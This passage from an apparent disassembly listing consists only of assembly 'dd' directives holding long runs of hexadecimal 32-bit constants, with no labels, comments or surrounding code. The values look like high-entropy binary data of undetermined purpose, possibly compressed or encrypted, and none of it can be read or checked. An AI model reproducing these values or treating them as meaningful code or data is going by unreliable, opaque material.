		dd 224E0053h, 8126A01Ch, 0C3511FBCh, 766DC00Bh,	482F680Ah
		dd 1BDEFC01h, 2041A452h, 8D3BE8h, 0B8E72490h, 89F89F5Eh
		dd 8A0FFC30h, 0AD6D22h,	77C90576h, 833AFBC4h, 9DF00805h
		dd 0B240E8D4h, 1130222Ch, 7C097234h, 9F370744h,	2079D5EAh
		dd 0C5B55DF8h, 0C3647200h, 8870B7AAh, 5A7C36h, 0F89838FBh
		dd 0D9ED63E9h, 670E8900h, 87F8310h, 0EF9200DCh,	0EB755AA9h
		dd 5DFAC244h, 0B2A8DB00h, 0B41B2C34h, 431C0736h, 4F8E7630h
		dd 0E0380979h, 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh
		dd 2019320Bh, 0FCA41400h, 0CDDE752Ah, 5E40ED4h,	2C201021h
		dd 34443088h, 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h
		dd 0AA00073Dh, 0B7B63FC2h, 482A4Dh, 31918757h, 0C39ADFA5h
		dd 770DA900h, 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h,	0D89D0EF7h
		dd 5CE8078Fh, 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h
		dd 72321D2Fh, 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh
		dd 7E404981h, 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh
		dd 7B81100h, 7A31BC4Bh,	836C0014h, 0FF09B068h, 0E0003D5h
		dd 0E0987ED6h, 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h
		dd 0D55B3B00h, 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h
		dd 5E019722h, 7707C4E7h, 0E430EDD0h, 13AD002Ch,	0B3034F05h
		dd 0D678A226h, 59957700h, 50408ABBh, 9DAC00C7h,	0C42C9B5Dh
		dd 4400E6EBh, 0AA4F453Dh, 1CB0DE92h, 801F645Fh,	8E00CB4h
		dd 0DC1F16B8h, 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h
		dd 5A00EB99h, 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh
		dd 639D7C00h, 62046942h, 16FA009Bh, 3640C611h, 0B1002266h
		dd 63144D67h, 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh,	60E62FBh
		dd 8029BB36h, 0F4531B6Ah, 43141D10h, 0ED5CE3Ah,	13FCBE0h
		dd 0F0037D89h, 0CDAA0FB0h, 42AB9085h, 4EC0128h,	17BF39EBh
		dd 0E488E052h, 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh
		dd 0F081A947h, 8BF3C3B0h, 89E4F007h, 9050F6F8h,	0E6720A78h
		dd 41020048h, 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h
		dd 0FC44D815h, 7198A5D4h, 0A18F000h, 5EBD7943h,	0D0C80122h
		dd 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h
		dd 3B052BA3h, 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h
		dd 2F3031C7h, 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h
		dd 69ABD42Fh, 78D80D00h, 4F71CCE8h, 0BC8D2CEAh,	8BF00032h
		dd 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h
		dd 90C2C788h, 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h
		dd 0C9744792h, 8E89305Eh, 1405CC2Ch, 1345F500h,	0EC6A6093h
		dd 0F762018Ch, 25F25886h, 0B9830B9h, 4F071EEAh,	0AEE83EFFh
		dd 9E369CA0h, 0EC200E4Dh, 5EE02384h, 75AD19A9h,	1741090Fh
		dd 70038557h, 29DACC0h,	76DC00E8h, 8199101Ah, 0C01DFDF3h
		dd 8B005B07h, 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h
		dd 0F5A75DF3h, 4AC41D8Dh, 68530081h, 0AD6F8A4h,	94287506h
		dd 0CD00E954h, 0F210B329h, 22CD5A7h, 34970D31h,	740F649h
		dd 9B3CCEBCh, 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh
		dd 0D60028C8h, 1BD29990h, 9876572Dh, 4B100059h,	0A5583553h
		dd 0E3000B44h, 523B2C3Dh, 179382Ah, 0F469BD16h,	0E45E1739h
		dd 8000BA0Bh, 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h
		dd 6660233Eh, 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch
		dd 8010973Eh, 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h
		dd 24003E96h, 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h
		dd 58787D90h, 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h
		dd 3B012711h, 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch
		dd 9D0065A1h, 429AC8Eh,	6A13DAh, 0A662E756h, 0A4D7471Fh
		dd 5FDF2Dh, 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h
		dd 912871Fh, 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h,	2E7FDA91h
		dd 4D5CD293h, 3F070089h, 0B88B08D5h, 77A41DDFh,	48A680ABh
		dd 0D011AFA3h, 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h
		dd 17A0C321h, 743AE247h, 78A40009h, 405BC083h, 597AF3h
		dd 558AC203h, 74B81820h, 28754Ch, 641C9C08h, 15D8B97h
		dd 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h
		dd 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch
		dd 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh,	68D5200Bh
		dd 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h,	0BE41FC55h
		dd 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h
		dd 0CB3D6Ch, 696A2188h,	0F1FA1612h, 1F4AC800h, 3A7FF95Bh
		dd 97150089h, 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h
		dd 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h, 89B617h
		dd 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h,	0A5E947EDh
		dd 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h,	1CC020FCh
		dd 887A1D94h, 84F40F4Fh, 2FCF2BF5h, 0BD857642h,	0F642AA80h
		dd 8A3E957Ah, 0BB3C3Eh,	0D321A2DEh, 0F67D3DF7h,	0EF540077h
		dd 9DAF8AFAh, 2976C24Ah, 671C1100h, 0A5BA582Ch,	68500762h
		dd 37D7E344h, 132250BBh, 890020FDh, 31C8F09Fh, 7730E453h
		dd 9117B28h, 5623F4B7h,	0B2622A8Fh, 0D0E01EF8h,	4C76FCC8h
		dd 1628C700h, 875F8902h, 5B791DA9h, 0D28A40F4h,	3F71A108h
		dd 0F120AC00h, 510C3730h, 89660013h, 82F0EBC1h,	49980901h
		dd 7F59E012h, 0B39DE003h, 3E90F8CFh, 239A0318h,	2879AF8Bh
		dd 104593C0h, 0D127E00Eh, 4203800Eh, 33F7024h, 254FF066h
		dd 138896D5h, 1C004522h, 270520A8h, 0FF1455h, 0D55A56A4h
		dd 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h, 625D5C39h, 0EDCD600h
		dd 0D0033C50h, 83C2EC3Bh, 9055FE78h, 7C408825h,	0F2EE0044h
		dd 10C36003h, 4100D5E8h, 7B78F6EAh, 77FB0220h, 0F8E90033h
		dd 7D9A5FCh, 6EC01609h
		dd 71E8F1E0h, 23E0E23h,	0F826112Fh, 0B900EE21h,	60751735h
		dd 5CCEEB8h, 9E80E56h, 4D9880D7h, 0EB00A67Ah, 0F0752283h
		dd 0C3312Bh, 3BD3A0D0h,	327736F2h, 0E7B82000h, 875C48Fh
		dd 0E30E00EFh, 122373D1h, 53005079h, 3C4F22AEh,	2A90D4h
		dd 2941A991h, 0D15110A5h, 4A384700h, 5C2B590Dh,	9511000Ah
		dd 2ABEE845h, 0C000715h, 4C78346h, 7053AF1h, 820F1A6Dh
		dd 707A4051h, 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h
		dd 0E3DB3110h, 0D0F71E02h, 85D275h, 0D8FA18F2h,	5408B324h
		dd 1E1718E1h, 40CBFEDBh, 0EAE6E297h, 5F001EA4h,	72F8D4B5h
		dd 0C4597Fh, 0C026FAB2h, 0E108B8BBh, 48743B00h,	0C6DE3780h
		dd 85CA5803h, 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h
		dd 0D73529B0h, 5CA5E200h, 14F47970h, 2462F6EEh,	0B59428h
		dd 97D103B9h, 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h
		dd 0F23F9220h, 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h
		dd 8BBD20B4h, 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h
		dd 2157F807h, 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh
		dd 0D8DBB5F3h, 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h
		dd 80EA82h, 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h
		dd 50A75C3Eh, 0D600394Ch, 407E0CE9h, 114CFF02h,	80F0756h
		dd 91F6482Eh, 3737566h,	0E888BA8Ch, 0F3E8DFA3h,	44C136AFh
		dd 27D49A6Fh, 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h
		dd 80C3692Dh, 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh
		dd 208057DAh, 94A958F4h, 0B006DC3Ah, 2E5C34E9h,	8776032Fh
		dd 714A0CAh, 21C7ACB8h,	0F048BA76h, 0A3A51E5Ch,	172061C0h
		dd 0FF64845Ah, 5E85F8h,	0BBB3274Ah, 2E4BEC59h, 0C4102307h
		dd 9A102B74h, 344975h, 143A7E39h, 27C3950Fh, 9421AF00h
		dd 22F19DCAh, 93371F5Bh, 0BC6380BFh, 4F52740Fh,	1EA23907h
		dd 8880103Dh, 16971Ah, 0C27043B4h, 0E9BBE837h, 125A7100h
		dd 0E8FEF50h, 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch
		dd 702EDD1h, 0E2B90083h, 58694A6Ch, 0C5005F28h,	5D898F5Ch
		dd 7CF9531Fh, 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh
		dd 30E18h, 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh
		dd 269000ACh, 2481F505h, 7F00EA80h, 0F7C2AF82h,	0FAEFC9F8h
		dd 5EFF0FC8h, 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h
		dd 1616851Fh, 1553C08h,	0F2064369h, 0A5EEE012h,	0C9032707h
		dd 0C00687Dh, 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h
		dd 31222F4h, 5CC3FD3Bh,	391C4A1Dh, 24CE4043h, 2DD8E83Dh
		dd 3D12EA26h, 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h
		dd 3A00442Fh, 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h
		dd 7BEA03FAh, 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h
		dd 8E49C097h, 20009DBh,	8078BEFCh, 424412h, 0FE79B7E4h
		dd 387450DAh, 1353126h,	9992803Bh, 0C2D4717Eh, 24DD005Bh
		dd 0EBAE3BA0h, 41002CC4h, 823CB988h, 5C89CC29h,	63000A65h
		dd 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh, 0D15ED4h,	8C38600Bh
		dd 56C3E850h, 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h
		dd 0A104D614h, 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh
		dd 45A4AF00h, 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h
		dd 872449A6h, 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h
		dd 1D1CCC66h, 143EF8h, 4ED70889h, 83006C64h, 2F22098h
		dd 112FC53h, 1C2693F4h,	0F4E7AA85h, 73013B1Fh, 8819826Dh
		dd 0C6C81413h, 0C8AB00F7h, 584A4363h, 0B01F68EEh, 0CC808732h
		dd 6238788Dh, 0E346074Bh, 0CFAB1875h, 4E405861h, 69C9C8CBh
		dd 3E6A5F00h, 2437C48h,	18271E99h, 82007C55h, 6132A98h
		dd 4000D7FFh, 8CC3FE11h, 0AD0343h, 0F8A83D16h, 2105472Bh
		dd 7EA65400h, 0E90DE790h, 5CC4002Ch, 5219BCDAh,	4A00C0EFh
		dd 3684CAFh, 24A4A0h, 0C2E8D649h, 28B40743h, 0DD12B501h
		dd 45B85061h, 0E9641E0h, 8AC2379Ah, 0D305A6A1h,	7048FDCAh
		dd 0F0324C3h, 4AC894F7h, 8810DB7Fh, 0F0FD5F9Fh,	49D00F65h
		dd 0A9230814h, 1C0408Ah, 0F076034Eh, 93382B00h,	0B513E67Dh
		dd 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch, 7A6E883h, 24E279FAh
		dd 32756600h, 4F84D74Eh, 0FFD50097h, 0B4EA3CC4h, 45003417h
		dd 52442168h, 313E065Bh, 4A7854C1h, 0FD2CC3Ah, 0A69C8500h
		dd 0DB9A52A7h, 0FCE200D9h, 4BA14634h, 2600EB54h, 0C32BA24h
		dd 0EECC0850h, 0F1B207DCh, 9464594Fh, 60098010h, 23A8FCBh
		dd 0A1F800A8h, 68672029h, 4FC62C28h, 0A9AA01ECh, 0F089D7CCh
		dd 0CF00440Ah, 0B7DC16CEh, 8A0E34h, 9A5C217Bh, 74D017D3h
		dd 8206A101h, 0C087E56Ch, 0D8C7D8h, 52B1D1ECh, 0E9C34005h
		dd 5300257Ch, 4B22ABC2h, 17E7524h, 5A32894Eh, 0E8D0E419h
		dd 297F27A3h, 6AB2F600h, 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh
		dd 0FA004B79h, 0DC4F34FDh, 0FB577D5h, 1DC0CC57h, 41C26CEFh
		dd 5FC04DC2h, 83009872h, 62C6B0CAh, 3319AFh, 0E8C7042Ah
		dd 0D40D5AB8h, 8074FF3Dh, 5710DA60h, 0F883B903h, 68D00D8h
		dd 8614FD95h, 3500BBD2h, 311D892Bh, 2541B9h, 745106A3h
		dd 4E525B03h, 0B293D200h, 1A8F73E8h, 0D75313DDh, 699C00BFh
		dd 0CD65C26Dh, 0F4853B00h, 9149C48Dh, 30E860h, 739EB292h
		dd 786E7DCBh, 0FAE87000h, 9718B059h, 0F47B1EC1h, 83BD872Fh
		dd 4840F18Dh, 0E4ED600Dh, 0A35C1403h, 0B988A916h, 56309363h
		dd 0D6970012h, 106A6132h, 607C7DB9h, 86901C00h,	89B2EC5h
		dd 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h, 220A5360h, 11C3E7h
		dd 31642F0h, 41EC1215h,	0C76A2300h, 0B4DA468Ch,	17C00019h
		dd 744A423Ah, 800A80Bh,	3E4C754Bh, 3D9B73h, 5D4E8CADh
		dd 0C519EC6Eh, 24145A00h, 0A694C125h, 83E002h, 0DC97FC6Dh
		dd 51702CC3h, 69AF000h,	0DE813EF4h, 1DE90002h, 29508E25h
		dd 6F00754Fh, 94526796h, 3809BD69h, 0A400EA2Fh,	0D87C0782h
		dd 8039E9C4h, 74B0097Dh, 4D560021h, 92DB91h, 32EC8F8h
		dd 1150C329h, 5F67440Fh, 5D012005h, 3DD5C7h, 260DDAE6h
		dd 824998F5h, 8774A01h,	0D4637550h, 0C8D01871h,	1906002Bh
		dd 0E7BCEAC6h, 55006F4Bh, 53705B86h, 51F06Bh, 0ABC85E75h
		dd 0D8E5A9B8h, 8500D177h, 4CF2DCEAh, 897458h, 0FC66EBD4h
		dd 5D719052h, 85AC8000h, 6A2EC922h, 4BEE1C55h, 101E7ED5h
		dd 2BAEC051h, 3C0FDF0h,	689F300h, 4C418CAFh, 42670075h
		dd 3399CB1Fh, 0C438C2EFh, 3114804Ah, 5E044669h,	4E581E6Ch
		dd 907D8025h, 0B4FE2F0Bh, 1A45DA00h, 4293C9CDh,	56290098h
		dd 7C58C399h, 2E00905Ah, 7B05F569h, 0E4246EBh, 27754D6Fh
		dd 0D5B00017h, 0A14A858Dh, 17EBF801h, 9A92FEB3h, 77A3D9D8h
		dd 0AB4B0367h, 94327866h, 0EED5C490h, 0E8194200h, 0C9C7933Ch
		dd 75480FCEh, 0F8E0C6ACh, 94D12E7Dh, 2DE18100h,	0AC13B27h
		dd 0CA033D02h, 89080700h, 1E907519h, 0C2D37D00h, 20449DBEh
		dd 95C11D05h, 8BD0CEA3h, 6109C380h, 0CC00C481h,	0F7F0167Fh
		dd 3AA9D40Ch, 0DCA5D006h, 0E41480D7h, 392EE091h, 0E6802466h
		dd 0DFB94B39h, 1F005B82h, 45C63842h, 0C4F964h, 83028485h
		dd 60D78A89h, 0FE508200h, 3C70228Bh, 0E754009Dh, 0F0EACE64h
		dd 530075DBh, 0CC88FF17h
		dd 7E38E9E2h, 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h
		dd 2660660Bh, 0B0F00Ch,	25FA453Bh, 5CF00D74h, 406C21Fh
		dd 21A9DAC0h, 168BDFh, 50176655h, 19458940h, 0B70FF200h
		dd 33310308h, 0E94300CCh, 3A3B0A60h, 741E3546h,	36000E67h
		dd 261F0954h, 0A03F0095h, 4F665001h, 0B008102h,	0A6F2B752h
		dd 3032FA53h, 755E0D45h, 0A9076241h, 2AD8A2B9h,	64178ED0h
		dd 1F20047h, 4EEC8238h,	270134F3h, 5DC04A8Fh, 1BCD2E6Bh
		dd 1D99DCh, 0EDA5FA29h,	0FBBB6001h, 2481660Bh, 1980FF7Dh
		dd 258A2976h, 0A00074F6h, 530DE1FFh, 6731579Ch,	50F248D9h
		dd 45B398Eh, 1CF4E83Bh,	6A80803Fh, 4E268D0Ah, 4F740008h
		dd 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h, 0F1250F6h,	23AB4056h
		dd 9F53D20h, 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h
		dd 7FF64269h, 20E70E32h, 3C65BE58h, 0E7215317h,	0DD121FFFh
		dd 45CF0011h, 13BE0E62h, 0B0D47100h, 8C9D4792h,	3CA4070Ch
		dd 5090A303h, 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh
		dd 50908603h, 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h
		dd 0C09B124Ah, 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh
		dd 0C93D0045h, 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h
		dd 44D88871h, 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh
		dd 0B681D291h, 75393Eh,	0AA51F527h, 4F42EDh, 0E31224A6h
		dd 0F687477Ch, 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh
		dd 0F5687791h, 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h
		dd 2CE4542h, 5C261CC0h,	405D217Eh, 183CDC18h, 10352350h
		dd 5F00C212h, 0A18FC32h, 60C48554h, 0D031C4D4h,	873C7E1Bh
		dd 4DAF8190h, 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h
		dd 3740EBA0h, 523FD655h, 344380A5h, 0FC570DDBh,	867F00A8h
		dd 104512B5h, 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah
		dd 55001F62h, 0A48A3E19h, 13399Fh, 0B2EBFB54h, 9CB8C26Ch
		dd 81D40938h, 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h
		dd 4CFDE002h, 54112300h, 83D24222h, 0D44800C1h,	0C925A7F2h
		dd 0E2021975h, 74A47F72h, 8EC7E0FBh, 71F70EB4h,	85E02CF0h
		dd 0E387831Ch, 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h
		dd 4B14032h, 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h
		dd 5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h,	308D8Bh
		dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h,	8A05C283h
		dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh,	0F1450B0h
		dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h
		dd 0D1C680h, 83740567h,	724FBA68h, 0F021D605h, 0F780753Bh
		dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah
		dd 478100EFh, 17C5625h,	6800625Bh, 12F03918h, 1DBDDA1Ch
		dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h
		dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h,	0FC1C400Bh
		dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh
		dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh,	60553899h
		dd 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h
		dd 714A610h, 3758E1A5h,	0E4069159h, 8EBD4092h, 4D786599h
		dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h
		dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h
		dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h
		dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h
		dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh,	5513B2ECh
		dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h,	0CCB3DF01h
		dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h
		dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h
		dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h
		dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h,	13B07E00h
		dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h
		dd 90C916h, 0D302D088h,	49F3D69Dh, 18000574h, 955B1C36h
		dd 24588496h, 28FFF01h,	4E1E2B2Eh, 0C1574740h, 2894200h
		dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h
		dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh
		dd 43A63C24h, 2149B11h,	0D15298D0h, 8034F03Bh, 0B948A2FFh
		dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h
		dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h,	3A00D845h
		dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h,	3C00E340h
		dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h
		dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h
		dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h,	8230014h
		dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h,	1BAC2040h
		dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h
		dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h
		dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh,	0F1071EA8h
		dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh
		dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h
		dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h,	2B8E2699h
		dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h
		dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h
		dd 50CFFD2h, 83CD3B24h,	87D30023h, 0F210D455h, 127D600h
		dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh
		dd 0C884B900h, 17E902h,	0A2DD47E8h, 7E82F0BCh, 0B143A300h
		dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h
		dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h
		dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h,	7A000BFCh
		dd 0C9535F84h, 2E8822h,	0B8C10104h, 4E603F10h, 3437BF1Fh
		dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h,	90011D45h
		dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh,	0FDC44BAFh
		dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h
		dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h
		dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h
		dd 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h,	0A786007Bh
		dd 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh
		dd 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh,	0E0DE9421h
		dd 7EF0E599h, 84233200h, 31D016A9h, 96544C9Eh, 4A210075h
		dd 20622464h, 97EA433Ch, 18850400h, 0B2557329h,	486A02F3h
		dd 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h
		dd 5FEB5530h, 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh
		dd 2ACAC106h, 81FEBECh,	87C3F83Ah, 0E8E6E375h, 5E9F8Eh
		dd 0DC102DC0h, 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh
		dd 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h
		dd 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh
		dd 0EE4692Ch, 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh
		dd 1107053h, 88E22A11h,	0D9182134h, 4C0DD851h, 87493800h
		dd 50A28C91h
		dd 907515h, 8041FAD2h, 406AF633h, 30FFE21Dh, 902D7580h
		dd 0F66070Bh, 5A4D3881h, 78832400h, 7400E03Ch, 82801E4Bh
		dd 768F303h, 5615FC99h,	8108A023h, 4500503Eh, 27414C6h
		dd 38F6B572h, 3CF069FCh, 24006AF0h, 0EB4EBB28h,	0FE744A5Dh
		dd 1A83121Ch, 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh
		dd 0EB730C62h, 7839F602h, 6031B849h, 5021F8FCh,	79E7C53Fh
		dd 34BA3E46h, 91005FD8h, 525AB774h, 0D5002367h,	8E037F86h
		dd 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h, 0D103DD33h, 7B84CF21h
		dd 9C963B04h, 0E490E58Bh, 0C4C5700h, 0BE006C5Bh, 4EC426A3h
		dd 265EA10h, 0D08FABBCh, 0AA406982h, 900F4916h,	770A120h
		dd 6B77880Ah, 0C689AC90h, 31FC020Eh, 0CACF49C9h, 0B2C09740h
		dd 0C87030FCh, 19E98800h, 0B6F28AF1h, 66182708h, 784BA077h
		dd 89351209h, 440E0C34h, 0DA1C4275h, 9B803E80h,	0D2F75BD3h
		dd 25D100E4h, 57AD089h,	0B928C8ECh, 4B00C4B7h, 72D54442h
		dd 6B0EBh, 2ECBE1F3h, 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h
		dd 33135CEAh, 0AF530100h, 58AE9E35h, 28680FA0h,	5C60B55Fh
		dd 50895294h, 59B18500h, 8A0BD123h, 0D8800002h,	0A126758h
		dd 42F05F2Eh, 0F0754905h, 0B7ECA1B0h, 92BDC00h,	0F35D5AF9h
		dd 79A55401h, 0E5957458h, 29FD7280h, 5BC85614h,	0D7FCD200h
		dd 9857701Ah, 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h
		dd 1D17BD82h, 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h
		dd 1B770019h, 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh
		dd 86EFD81Dh, 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh
		dd 2A383988h, 16E6F91Bh, 52432D00h, 0E923BCC7h,	20B8F2h
		dd 18583BBDh, 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h
		dd 8394E22Dh, 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h
		dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h,	0BAF7E07Eh
		dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h
		dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah
		dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh
		dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h
		dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh,	0AD7BE093h
		dd 6972000h, 1A2643C6h,	4EB0001h, 7893DD0Dh, 540022CCh
		dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h
